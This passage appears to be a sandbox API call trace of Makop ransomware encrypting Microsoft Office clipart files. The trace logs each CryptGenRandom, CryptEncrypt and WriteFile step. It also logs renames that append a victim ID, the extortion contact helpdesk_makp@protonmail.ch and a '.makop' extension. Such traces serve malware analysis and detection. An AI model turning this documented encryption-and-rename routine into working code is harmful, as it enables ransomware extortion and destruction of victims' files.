(hFile=0xf0) returned 1 [0107.016] GetProcessHeap () returned 0x48a0000 [0107.016] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.017] GetProcessHeap () returned 0x48a0000 [0107.017] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.017] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.017] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.018] CloseHandle (hObject=0xf0) returned 1 [0107.018] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b6bc300, ftCreationTime.dwHighDateTime=0x1bd4c00, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b6bc300, ftLastWriteTime.dwHighDateTime=0x1bd4c00, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02724_.WMF", cAlternateFileName="")) returned 1 [0107.018] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0107.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.020] GetProcessHeap () returned 0x48a0000 [0107.020] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.020] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.021] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.021] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.025] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.025] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.025] GetProcessHeap () returned 0x48a0000 [0107.025] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.025] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.025] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.025] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.026] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.026] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.026] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.026] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.026] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.026] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.026] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.026] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.026] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x83c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x83c, lpOverlapped=0x0) returned 1 [0107.027] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x840, dwBufLen=0x840 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x840) returned 1 [0107.027] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.027] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x840, lpOverlapped=0x0) returned 1 [0107.027] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.027] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x914, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.027] SetEndOfFile (hFile=0xf0) returned 1 [0107.033] GetProcessHeap () returned 0x48a0000 [0107.033] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.033] GetProcessHeap () returned 0x48a0000 [0107.034] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.034] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.034] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.035] CloseHandle (hObject=0xf0) returned 1 [0107.035] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c87b100, ftCreationTime.dwHighDateTime=0x1bd4c18, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c87b100, ftLastWriteTime.dwHighDateTime=0x1bd4c18, nFileSizeHigh=0x0, nFileSizeLow=0x2418, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN03500_.WMF", cAlternateFileName="")) returned 1 [0107.035] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0107.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.036] GetProcessHeap () returned 0x48a0000 [0107.036] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.036] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.036] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.036] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.040] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.040] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.041] GetProcessHeap () returned 0x48a0000 [0107.041] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.041] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.041] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.041] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.041] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.041] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.041] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.041] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.042] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.042] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.042] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.042] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.042] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2418, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2418, lpOverlapped=0x0) returned 1 [0107.043] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2420, dwBufLen=0x2420 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2420) returned 1 [0107.044] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.044] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2420, lpOverlapped=0x0) returned 1 [0107.044] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.044] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x24f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.045] SetEndOfFile (hFile=0xf0) returned 1 [0107.051] GetProcessHeap () returned 0x48a0000 [0107.051] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.051] GetProcessHeap () returned 0x48a0000 [0107.052] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.052] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.052] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.053] CloseHandle (hObject=0xf0) returned 1 [0107.053] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x928, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04108_.WMF", cAlternateFileName="")) returned 1 [0107.053] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0107.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.054] GetProcessHeap () returned 0x48a0000 [0107.054] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.054] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.054] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.054] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.058] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.058] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.058] GetProcessHeap () returned 0x48a0000 [0107.058] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.058] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.058] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.058] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.058] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.059] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.059] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.059] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.059] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.059] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.060] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.060] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.060] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x928, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x928, lpOverlapped=0x0) returned 1 [0107.060] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x930, dwBufLen=0x930 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x930) returned 1 [0107.060] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.060] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x930, lpOverlapped=0x0) returned 1 [0107.061] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.061] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.061] SetEndOfFile (hFile=0xf0) returned 1 [0107.068] GetProcessHeap () returned 0x48a0000 [0107.068] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.068] GetProcessHeap () returned 0x48a0000 [0107.068] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.068] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.068] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.069] CloseHandle (hObject=0xf0) returned 1 [0107.069] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04117_.WMF", cAlternateFileName="")) returned 1 [0107.070] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0107.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.070] GetProcessHeap () returned 0x48a0000 [0107.070] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.070] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.070] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.070] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.082] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.082] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.082] GetProcessHeap () returned 0x48a0000 [0107.082] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.083] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.083] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.083] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.083] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.083] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.083] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.083] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.083] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.084] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.084] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.084] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.084] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x17ac, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x17ac, lpOverlapped=0x0) returned 1 [0107.085] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x17b0, dwBufLen=0x17b0 | out: 